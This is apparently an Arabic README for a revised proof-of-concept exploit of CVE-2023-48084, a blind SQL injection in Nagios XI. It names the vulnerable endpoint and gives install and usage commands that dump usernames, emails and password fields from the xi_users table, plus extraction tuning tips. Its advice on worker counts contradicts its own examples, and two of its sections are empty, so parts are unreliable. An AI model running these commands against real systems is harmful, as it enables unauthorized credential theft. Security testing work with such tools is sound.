CVE-2023-48084 — PoC محدّث

المستودع: MettHK/CVE-2023-48084-Revised

نسخة محدّثة من Hamibubu/CVE-2023-48084 مع دعم تعدد الخيوط، واستخراج البحث الثنائي، وخيارات سطر أوامر لاختيار قاعدة البيانات / الجدول / العمود.

ليس المستودع الأصلي. هذا PoC مشتق/محسّن. يعود الفضل في العمل الأصلي إلى Hamibubu.

إخلاء مسؤولية

لأغراض الاختبار الأمني المصرّح به والتعليم فقط. لا تستخدم هذا ضد أنظمة لا تملكها أو ليس لديك إذن صريح لاختبارها. المؤلفون والمساهمون غير مسؤولين عن أي إساءة استخدام.

حول الثغرة

CVE-2023-48084: يحتوي Nagios XI قبل الإصدار 5.11.3 على ثغرة حقن SQL عبر أداة التعديل الجماعي.

يستغل هذا الـ PoC ثغرة حقن SQL أعمى قائم على الوقت في:

/admin/banner_message-ajaxhelper.php?action=acknowledge_banner_message&id=(SQL)

تحتاج إلى ملف تعريف ارتباط جلسة صالح وغير إداري (nagiosxi) أو رمز API.

التغييرات عن الأصل

المتطلبات

• Python 3.8+
• requests (مطلوب)
• pwntools (اختياري؛ إخراج تقدم أفضل)

git clone https://github.com/MettHK/CVE-2023-48084-Revised.git
cd CVE-2023-48084-Revised
pip install -r requirements.txt

الاستخدام

# Interactive (discover schemas → tables → columns)
python3 CVE-2023-48084.py -u https://target.example/nagiosxi -c '<cookie>'
python3 CVE-2023-48084.py -u https://target.example/nagiosxi -a '<api_token>'

# Fast path: database + table + columns known
python3 CVE-2023-48084.py \
  -u https://target.example/nagiosxi \
  -c '<cookie>' \
  -d nagiosxi \
  -t xi_users \
  -C username,email,password \
  -w 15 \
  --delay 1.2

لا أنصح باستخدام أكثر من خيطين (workers) فقد يؤدي ذلك إلى نتائج غير صحيحة

الخيارات

نصائح

• أحرف خاطئة / نتائج مشوشة → زد --delay (مثل 2) أو اخفض -w (مثل 5).
• هدف مستقر وسريع → جرّب عدد خيوط أعلى (-w 15–20).
• فضّل -d / -t / -C عندما تكون تعرف مخطط الهدف مسبقًا لتجنب الاكتشاف الطويل.